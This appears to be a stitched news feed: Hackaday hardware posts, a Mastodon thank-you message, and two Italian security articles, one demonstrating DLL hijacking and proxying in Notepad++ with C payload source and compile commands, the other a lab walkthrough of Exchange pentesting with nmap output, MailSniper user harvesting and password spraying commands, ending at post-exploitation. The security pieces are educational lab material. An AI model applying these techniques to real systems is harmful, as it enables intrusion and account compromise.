A Pentium In Your Hand

Handheld computers have become very much part of the hardware hacker scene, as the advent of single board computers long on processor power but short on power consumption has given us the tools we need to build them ourselves. Handheld retrocomputers face something of an uphill struggle though, as many of the components are over-sized, and use a lot of power. [Changliang Li] has taken on the task though, putting an industrial Pentium PC in a rather well-designed SLA printed case.

Aside from the motherboard there’s a VGA screen, a CompactFlash card attached to the IDE interface, and a Logitech trackball. As far as we can see the power comes from a USB-C PD board, and there’s a split mechanical keyboard on the top side. It runs Windows 98, and a selection of peak ’90s games are brought out to demonstrate.

We like this project for its beautiful case and effective use of parts, but we’re curious whether instead of the Pentium board it might have been worth finding a later industrial PC to give it a greater breadth of possibilities, there being few x86 SBCs. Either way it would have blown our minds back in ’98, and we can see it’s a ton of fun today. Take a look at the machine in the video below the break.

youtube.com/embed/G7RhMOKQaTs?…

Thanks [Stephen Walters] for the tip.

hackaday.com/2025/11/05/a-pent…

Better 3D-Printed Bridges Are Possible, With the Right Settings

The header image above shows a completely unsupported 3D-printed bridge, believe it or not. You’re looking at the bottom of the print. [Make Wonderful Things] wondered whether unsightly unsupported bridges could be improved, and has been busy nailing down remarkably high-quality results by exhaustive testing of different settings.

It all started when they thought that unsupported bridges looked a lot as though they were made from ropes stretched between two points. Unlike normal layers, these stretched extrusions didn’t adhere to their neighbors. They are too far apart from one another, and there’s no “squish” to them. But could this be overcome?

His experiments centered mainly around bridge printing speed, temperature, and bridge flow. That last setting affects how much the extrusion from the hot end is adjusted when printing a bridge. He accidentally increased it past 1.0 and thought the results were interesting enough to follow up on; it seemed that a higher flow rate when printing a bridge gave the nudge that was needed to get better inter-line adhesion. What followed was a lot of testing, finally settling on something that provided markedly better results than the stock slicer settings. Markedly better on his test pieces, anyway.
BF = Bridge flow, BS = Bridge printing speed (in mm/sec)
The best results seem to come from tweaking the Bridge Flow rate high enough that extrusions attach to their neighbors, printing slowly (he used 10 mm/sec), and ensuring the bridged area is as consistent as possible. There are still open questions, like some residual sagging at corners he hasn’t been able to eliminate, but the results otherwise look great. And it doesn’t even require laying one’s printer on its side!

All the latest is on the project page where you can download his test models, so if you’re of a mind to give it a try be sure to check it out and share your results. Watch a short video demonstrating everything, embedded just under the page break.

Thanks to [Hari] for the tip!

youtube.com/embed/xQBLv3cPUbo?…

hackaday.com/2025/11/05/better…

On November 30, 2022, I tooted for the first time on Mastodon.

“Hello world!”

Then I began tooting my #music and a ton of #puns #jokes, and #memes. Everyone here responded so genuinely, and with such positivity, that I was very quickly made to feel at home.

My deepest gratitude goes out to the #Mastodon community, a #community that has literally improved the quality of my time on this spinning rock as it hurtles through space, towards a future that seems more uncertain every day. You have been my friends, my therapists, my critics and fans, as well as an inspiration and reliable sounding board. Mastodon really is unlike any other “social media platform” out there.

Today, I celebrate the arbitrary milestone of twelve thousand followers, and I wanted to say thank you.

Thank you for the favourites, the boosts, the follows, and the comments.

Thank you for your conversations, discussions, and corrections.

Thank you for listening to my music and sharing your thoughts, and for following along on your chosen streaming service. Your support has been amazing.

But, above all, I’d like to thank you all for making Mastodon the friendly and welcoming place that it is. My experience here has predominantly been one of acceptance and support, and it has been truly humbling. There is nowhere else quite like it.

Massive huge love and big gigantic hugs to you all,

- Jon
#Dgar #DgarLore

Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker

Nel mese di Settembre è uscita una nuova vulnerabilità che riguarda Notepad++. La vulnerabilità è stata identificata con la CVE-2025-56383 i dettagli possono essere consultati nel sito del NIST. La vulnerabilità CVE-2025-56383 è un caso di DLL Hijacking che interessa l’editor di testo Notepad++ v8.8.3 e potenzialmente versioni successive.

Sfruttando questa debolezza, un utente malintenzionato può ingannare l’applicazione per fargli caricare una DLL dannosa che ha lo stesso nome di una libreria legittima richiesta dal programma (un esempio comune riguarda i file DLL nella cartella dei plugin).

Se l’attacco riesce, il codice malevolo viene eseguito con gli stessi permessi dell’utente che sta utilizzando Notepad++, consentendo l’esecuzione di codice arbitrario sul sistema target.

Tuttavia, è fondamentale notare che questa CVE è stata etichettata come contestata (“Disputed”) da diverse fonti.

Ciò accade perché l’attacco è effettivamente possibile solo se l’utente ha installato Notepad++ in una directory che, per errore o cattiva configurazione, consente l’accesso in scrittura a utenti non privilegiati.

Nelle installazioni standard di Windows, un utente normale non dovrebbe avere i permessi per modificare i file nella cartella di installazione del programma, il che ridimensiona il problema da una vulnerabilità intrinseca del software a un rischio derivante da una configurazione del sistema operativo non sicura.

E’ stato rilasciato un poc che dimostra con alcuni screen come è possibile in notepad++ eseguire DLL Hijacking della libreria NppExport.dll visibile nel link sottoastante.

La tecnica del DLL Hijacking (letteralmente “dirottamento di DLL”) è un metodo di attacco che sfrutta il modo in cui il sistema operativo Windows cerca e carica le librerie di collegamento dinamico (Dynamic Link Libraries o DLL) necessarie a un’applicazione per funzionare.

In sostanza, un aggressore induce un’applicazione legittima a caricare ed eseguire una DLL malevola al posto della DLL originale e attesa.

La DLL Hijacking è simile alla DLL Injection ma se ne distingue per il meccanismo: la DLL Injection è una tecnica generica che forza un processo in esecuzione a caricare una DLL arbitraria (spesso dannosa) direttamente in memoria, mentre il DLL Hijacking sfrutta un’errata gestione del percorso di ricerca di una DLL esistente o mancante per far caricare la versione malevola al suo posto.

Analizziamo cosa di intende per DLL Hijacking e testiamo direttamente su Notepad++

Tipi Comuni di DLL Hijacking

Ci sono diverse varianti di questa tecnica:

DLL Search Order Hijacking (Dirottamento dell’ordine di ricerca DLL): sfrutta l’ordine predefinito di ricerca di Windows. L’aggressore inserisce la DLL in una cartella con precedenza (ad esempio, la stessa cartella dell’eseguibile dell’applicazione).

DLL Side-Loading (Caricamento laterale di DLL): Una forma molto comune. L’aggressore copia un eseguibile legittimo e affidabile (ad esempio, un programma firmato digitalmente) e la sua DLL malevola (con il nome della DLL attesa) in una cartella esterna, spesso accessibile all’utente. Il codice malevolo viene eseguito sotto il contesto di un processo affidabile, eludendo i controlli di sicurezza basati sull’integrità o sulla lista bianca degli eseguibili.

DLL Substitution (Sostituzione di DLL): Un approccio più aggressivo e diretto dove l’aggressore bypassa l’ordine di ricerca per sovrascrivere la DLL originale e legittima con un file malevolo nello stesso identico percorso.

Phantom DLL Hijacking (Dirottamento della DLL fantasma): sfrutta un’applicazione che tenta di caricare una DLL che non esiste affatto sul sistema (magari per un errore di programmazione o una dipendenza non necessaria). L’aggressore piazza la DLL malevola con il nome del file mancante, forzando il caricamento.

Come un applicazione carica un DLL?

Quando un’applicazione deve caricare una DLL e non ne specifica il percorso completo e assoluto, Windows inizia una ricerca in una serie di directory predefinite e in un ordine specifico.

L’ordine di ricerca per le DLL (che può variare leggermente a seconda delle API di caricamento e delle configurazioni di sistema) solitamente include:

• La directory da cui viene caricata l’applicazione (la sua cartella).
• La directory di sistema (%SystemRoot%\System32).
• La directory di Windows (%SystemRoot%).
• La directory corrente di lavoro.
• Le directory elencate nella variabile d’ambiente PATH.

Per cui un aggressore sfrutta questa sequenza per piazzare una DLL malevola (con lo stesso nome della DLL legittima mancante, attesa oppure sostituendola) in una delle directory che Windows controlla prima della posizione della DLL vera.

Quando l’applicazione viene avviata, Windows trova e carica la DLL malevola prima di raggiungere la posizione della DLL legittima (oppure caricando la ddl diversa se è stata sostituita).

Il codice malevolo all’interno di questa DLL viene quindi eseguito, spesso con gli stessi privilegi dell’applicazione che l’ha caricata.

Obiettivi dell’Attacco

Questa tecnica è popolare tra gli aggressori perché consente di:

Esecuzione Stealthy (Furtiva): Il codice malevolo viene eseguito all’interno del processo di un’applicazione legittima (spesso anche firmata), rendendolo difficile da rilevare dai tradizionali sistemi antivirus o di monitoraggio.

Persistenza: Una volta piazzata, la DLL malevola può garantire che il codice dell’aggressore venga ri-eseguito ogni volta che l’applicazione legittima viene avviata.

Escalation dei Privilegi: Se l’applicazione legittima viene eseguita con privilegi elevati (ad esempio, come SYSTEM), anche il codice malevolo erediterà quegli stessi privilegi.

Esempio di DLL Hijacking substitution

Questo esempio è molto semplice e utilizzaremo Notepad++ per analizzare questo metodo di attacco.

Andremo a sostituire la libreria originale con una contenente solo un payload che farà avviare la calcolatrice.

In questo caso usiamo lo script sottostante per generare una nuova DLL dove nel MAIN è presente un payload che verrà avviato.
#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

char cmd[] = "calc.exe";

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quindi compiliamo la libreria usando mingw32-gcc.

x86_64-w64-mingw32-gcc -shared -o NppExport.dll version.c

Dopo aver sostituito NppExport.dll e avviato l’applicazione la calcolatrice viene aperta.

Sfortunatamente l’applicazione rileva che qualcosa legato alla libreria e restituisce un errore.

Il motivo è molto semplice, questa non contiene gli export originali, per cui c’è un controllo che avvisa di questo, ostacolo che vedremo come superare nel passo successivo.

Nonostante questo errore Notepad++ prosegue la sua normale esecuzione.

E’ da considerare che in altri casi questa sostituzione potrebbe dare un errore critico e fermare l’esecuzione dell’applicazione, in quanto contenente funzioni essenziali per applicazione stessa.

Esempio tramite tramite proxy DLL

Nell’esempio precedente è stato visto come compilare una nuova libreria e sostituire a una originale al fine che app esegua del contenuto malevolo. Questa sostituzione però causare il crash dell’applicazione o errori vari.

Per cui vediamo una tecnica di DLL hijacking tramite proxy. Il DLL Hijacking by Proxying (dirottamento di DLL tramite proxy) è una tecnica avanzata di cyberattacco che permette all’aggressore di eseguire codice malevolo all’interno di un’applicazione legittima senza causare il crash o l’interruzione del programma.

Il concetto è molto semplice.

1. L’aggressore rinomina la DLL originale (es. libreria.dll in libreria_orig.dll). Successivamente, piazza la sua DLL malevola nella posizione prioritaria, chiamandola con il nome originale (libreria.dll).
2. L’applicazione app.exe una volta avviata chiede al sistema operativo di caricare legit.dll.
3. Il S.O. segue l’ordine di ricerca e trova per prima la DLL Malevola (libreria.dll). Quindi carica la DLL malevola nella memoria del processo app.exe.
4. Il codice d’attacco (il payload dannoso) viene eseguito immediatamente (ad esempio, all’interno della funzione DllMain).
5. La DLL malevola carica la DLL legittima rinominata (libreria_legit.dll) e la usa come proxy. Tutte le richieste di funzione successive provenienti da app.exe vengono inoltrate alla DLL originale (libreria_legit.dll).
6. L’applicazione riceve le risposte corrette dalla DLL originale tramite il proxy e continua a funzionare normalmente. L’utente non si accorge del dirottamento.

Qui uno schema semplificato del procedimento:

Analizziamo nella pratica cosa consiste questo attacco, prendiamo per comodità una repo esistente che contiene tutto quello che ci serve a questo scopo.

github.com/tothi/dll-hijack-by…

Cloniamo il progetto.

All’interno è presente una libreria base (che abbiamo usato nell’esempio precedente) per esecuzione di un payload una volta che questa viene caricata nell’app.

Preleviamo la DDL da eseguire Hijacking, in questo caso NPPExport.dll che è stata rinominata.

Generaimo attraverso li scoript deng_def.py il file version.def file contenente i reindirizzamenti di esportazione tramite lo script Python

Il file .def contiene una sezione chiamata EXPORTS che elenca tutte le funzioni che la DLL deve esporre, in modo da poterle reindirizzare alla DLL legittima originale.

Già da qui è possibile vedere che vari nomi di funzioni vengono reindirizzati a NppExport_orig.dll.

Per finire compiliamo la libreria attraverso mingw-w64:

Le opzioni di compilazione sono simili al primo esempio, ma in questo andiamo ad aggiungere le definizioni degli export aggiuntivi che questa libreria ha bisogno (version.def)

• -shared: dice al compilatore di creare una libreria a collegamento dinamico (una DLL su Windows) invece di un eseguibile standard (.exe).
• -o NppExport.dll: Specifica il nome del file di output.
• version.def: specifica un file di definizione del modulo (Module Definition File) spiegato in precedenza.
• ./dll-hijack-by-proxying/version.c: Questo è il file sorgente C che farà aprire la calcolatrice una volta caricata la libreria.

Ora posizioniamo la nuova libreria di fianco a quella originale modificata

NppExport.dll esegiurà il proxy di tutte le chiamate alle funzioni esportate nel file legittimo NppExport_orig.dll evitando che applicazioni segnali malfunzionamenti.

Se eseguiamo il software non verrà dato nessun errore e il codice malevolo eseguito correttamente.

L'articolo Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker proviene da Red Hot Cyber.

Penetration Testing di Microsoft Exchange Server: Tecniche, Strumenti e Contromisure

Spesso, durante i penetration test, ci ritroviamo ad avere accessi elevati (Domain Admin) all’interno di un’organizzazione. Alcune aziende si fermano a questo, pensando che ottenere il Domain Admin sia l’obiettivo finale.

Ma non lo è. «Ottenere il Domain Admin» non significa molto per la maggior parte dei dirigenti , se non mostrare concretamente cosa comporta in termini di rischio. Uno dei modi migliori per dimostrare il rischio per un’organizzazione è mostrare la possibilità di accedere a dati sensibili.

Descriviamo qui il penetration testing di Exchange 2019 in un laboratorio GOADv3 configurato su Ludus/Debian.

Il server Exchange target

Strumenti Utilizzati

Il toolkit principale usato è MailSniper, una suite PowerShell progettata per l’enumerazione interna e l’abuso delle mailbox Exchange tramite Exchange Web Services (EWS), Outlook Web Access (OWA) e altri endpoint standard.

Ho usato anche NetExec da una macchina Kali ma MailSniper dava problemi su powershell-linux ed ho dovuto basarmi su una Win11Pro:
MailSniper non ne voleva sapere di funzionare su Kali Qui la scansione NXC dell’intero ambiente

Fase 1: Ricognizione e Identificazione di Exchange Server

Prima di ogni attività di penetrazione è fondamentale localizzare con precisione il server Exchange.

• Si parte dalla raccolta OSINT, tramite record MX DNS, URL pubblici di OWA, Autodiscover, certificati TLS e metadata visibili da post di lavoro o documenti pubblici.
• Successivamente si eseguono scansioni mirate con Nmap verso servizi standard:

nmap -p25,80,443,445,587,993,995 -sV -oA exchange_scan 10.3.10.21
Questa scansione permette di individuare le porte di SMTP, HTTPS per OWA, SMB e servizi di posta sicura.

# Nmap 7.95 scan initiated Wed Oct 15 12:52:25 2025 as: /usr/lib/nmap/nmap --privileged -A -T 4 -Pn -oA /mnt/hgfs/VMsharedDownloads/Exchange2019InitialScan 10.3.10.21
Nmap scan report for 10.3.10.21
Host is up (0.0027s latency).
Not shown: 975 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8, XRDST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
81/tcp open http Microsoft IIS httpd 10.0
|_http-title: 403 - Forbidden: Access is denied.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/https
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| http-title: Outlook
|_Requested resource was 10.3.10.21/owa/auth/logon.aspx…
444/tcp open snpp?
445/tcp open microsoft-ds?
465/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH GSSAPI NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
|_ Product_Version: 10.0.17763
587/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
808/tcp open ccproxy-http?
1801/tcp open msmq?
2103/tcp open zephyr-clt?
2105/tcp open eklogin?
2107/tcp open msmq-mgmt?
2525/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-10-15T16:52:55+00:00
| ssl-cert: Subject: commonName=the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-07T10:19:37
|_Not valid after: 2026-04-08T10:19:37
3800/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
3801/tcp open mc-nmf .NET Message Framing
3828/tcp open mc-nmf .NET Message Framing
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
5986/tcp open wsmans?
| ssl-cert: Subject: commonName=WIN2019-SRV-X64
| Subject Alternative Name: DNS:WIN2019-SRV-X64, DNS:WIN2019-SRV-X64
| Not valid before: 2025-09-19T18:32:07
|_Not valid after: 2035-09-17T18:32:07
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6789/tcp open ibm-db2-admin?
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 3 hops
Service Info: Host: the-eyrie.sevenkingdoms.local; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumerazione Utenti ed Endpoints Mail

Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21

Enumerazione Utenti ed Endpoints Mail

Dopo aver localizzato il server, si procede con la raccolta di utenti validi, indispensabile per attacchi come password spraying o bruteforce.

Con MailSniper si possono estrarre gli utenti dall’endpoint OWA e dalla Global Address List (GAL):

Invoke-UsernameHarvestOWA -UserList .\users.txt -ExchHostname 10.3.10.21 -Domain SEVENKINGDOMS -OutFile AccountsTrovati.txt

Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21 -OutFile userlist.txt
Get-GlobalAddressList -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "Password!" -OutFile gal.txt
Una lista utenti ben definita consente di simulare attacchi mirati, testando password realistiche basate su contesto (ad es. Game of Thrones simulati nel laboratorio), ovviamente ci si serve a monte divarie tecniche di OSINT .
MailSniper non fa altro estrarre li utenti dalla lista nota ad Exchange, questa che vediamo.

Fase 3: Password Spraying e Accesso Iniziale

Utilizzando password realistiche derivate da informazioni pubbliche e di contesto, si effettua il password spraying con MailSniper su ActiveSync EAS, OWA o SMTP:
Invoke-PasswordSpray -UserList userlist.txt -ExchHost 10.3.10.21 -Password "ilovejaime" -OutFile spray_results.txt

Quando si ottiene un accesso valido, ad esempio una combinazione utente/password, si può utilizzare PowerShell per accedere al mailbox tramite EWS ed iniziare la fase di post-exploitation.

Le credenziali sono corrette:

Post-Exploitation e Ricerca di Informazioni Sensibili